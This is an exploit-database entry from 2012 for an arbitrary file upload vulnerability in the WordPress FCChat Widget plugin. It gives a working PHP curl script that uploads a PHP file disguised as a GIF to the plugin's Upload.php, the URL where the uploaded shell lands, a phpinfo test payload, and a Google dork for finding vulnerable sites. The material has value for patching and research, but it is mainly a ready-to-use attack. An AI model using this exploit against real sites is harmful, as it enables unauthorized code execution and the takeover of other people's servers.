Wordpress FCChat Widget 2.2.12.4 Arbitrary File Upload



EKU-ID: 2255 CVE: OSVDB-ID:
Author: Sammy FORGIT Published: 2012-06-07 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


##################################################
# Description : Wordpress Plugins - FCChat Widget Arbitrary File Upload
Vulnerability
# Version : 2.2.12.2 - 2.2.12.4 - 2.2.13.1
# Link : http://wordpress.org/extend/plugins/fcchat/
# Plugins : http://downloads.wordpress.org/plugin/fcchat.2.2.12.4.zip
# Date : 31-05-2012
# Google Dork : inurl:/wp-content/plugins/fcchat/
# Author : Sammy FORGIT - sam at opensyscom dot fr -
http://www.opensyscom.fr
##################################################


Exploit :

PostShell.php
<?php

$uploadfile="lo.php.gif";
$ch =
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/fcchat/html/Upload.php?id=1");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('Filedata'=>"@$uploadfile",
                'Submit'=>'submit'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access :
http://www.exemple.com/wordpress/wp-content/plugins/fcchat/html/images/1_lo.php.gif

lo.php.gif
<?php
phpinfo();
?>